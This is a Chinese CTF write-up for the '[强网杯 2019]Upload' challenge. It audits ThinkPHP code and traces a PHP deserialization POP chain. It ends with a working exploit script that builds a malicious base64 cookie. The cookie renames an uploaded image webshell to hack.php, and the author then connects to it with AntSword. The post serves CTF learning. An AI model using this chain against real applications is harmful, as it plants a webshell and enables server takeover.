代码审计[三] [强网杯 2019]Upload -图片马反序列化重命名

代码审计

[强网杯 2019]Upload

源码下载www.tar.gz

源码一大坨
参考[强网杯2019]upload buuoj - Throokie - 博客园 (cnblogs.com)
这写的很全面

用phpstorm可以看到有两处下断点的地方,属于是提示了。分别是

application\web\controller\Profile.php

image-20241017181158780

application\web\controller\index.php,可以发现这里存在反序列化操作,接收的参数是base64解码后的cookie值

image-20241017181443336

这里先讲一下thinkphpd的一些特性

在 ThinkPHP 中,URL 通常遵循以下格式:

/模块/控制器/方法

假设默认的模块是 web,那么访问以下 URL:

/index

相当于请求了:

/web/index/index

即:

  • 模块web
  • 控制器Index
  • 方法index()

路由解析过程

  • 当你访问

    /index
    

    时,框架会按照 URL 解析规则:

    • 解析到控制器是 app\web\controller\Index
    • 调用该控制器中的 index() 方法。

因此,访问 /index 会触发 Index 控制器的 index() 方法。

解题

两个提示处看一下,一个是接收cookie的序列化值,一个是register.php中析构函数。

同时发现profile.php中有可用的魔术方法__get()__call()

整个流程是通过反序列化,触发update_img方法,并且绕过其中的部分判断,最终到达下面这段函数,来修改已上传的图片马名字

        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }

pop链

首先从析构函数出发,触发进Profile()类中

    public function __destruct()
    {
    	//$this->registed=0
        if(!$this->registed){
        // $this->checker=Profile()
            $this->checker->index();
        }
    }

由于Profile->index() 不存在,触发了 __call 方法,$this->{$name}$this->index又刚好触发__get,但是返回值是except[$name]数值的值,那就需要一个键名为$name键值为upload_img的except数组。这样子 $this->{$this->{$name}}($arguments);就会成为upload_img($arguments)

$this->{$this->{$name}}($arguments):这里是双重的动态调用,首先 $this->{$name} 获取属性的值(假设是一个方法名),然后调用该方法并传入 $arguments 参数。

    public function __get($name)
    {
            //$this->except[index]
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        //name=index
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

其他问题

pop链子已经构造好了,但是还是需要处理别的来东西来让触发成功执行

  public function upload_img(){
      //$this->checker=0
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
      //ext=1,进入此处进行重命名操作
        if($this->ext) {
            //filename_tmp=你图片马上传的路径
            if(getimagesize($this->filename_tmp)) {
                //filename=重命名后的文件名字
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

最终exp

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;
    }
class Profile{
    public $checker =0 ;
    public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";
	public $upload_menu;
    public $filename="./upload/hack.php";
    public $ext=1;
	public $img;
    public $except=array("index"=>"upload_img");
}

$a = new Register();
$a->checker = new Profile();

echo base64_encode(serialize($a));

在home下刷新拦包,修改cookie为反序列化的那串base64,然后疯狂刷新几次,就能看到upload/hack.php了,由于浏览器编码的原因可能你看不到马在哪,蚁剑连接即可

后话

这cookie卡我好久,上传后不知道是不是路由缓存还没更新的原因,一直都显示upload目录404,最终解决办法是a浏览器挂着upload目录,b浏览器执行传cookie操作,这样子才能看到东西

posted @ 2024-10-18 00:39  eth258  阅读(10)  评论(0编辑  收藏  举报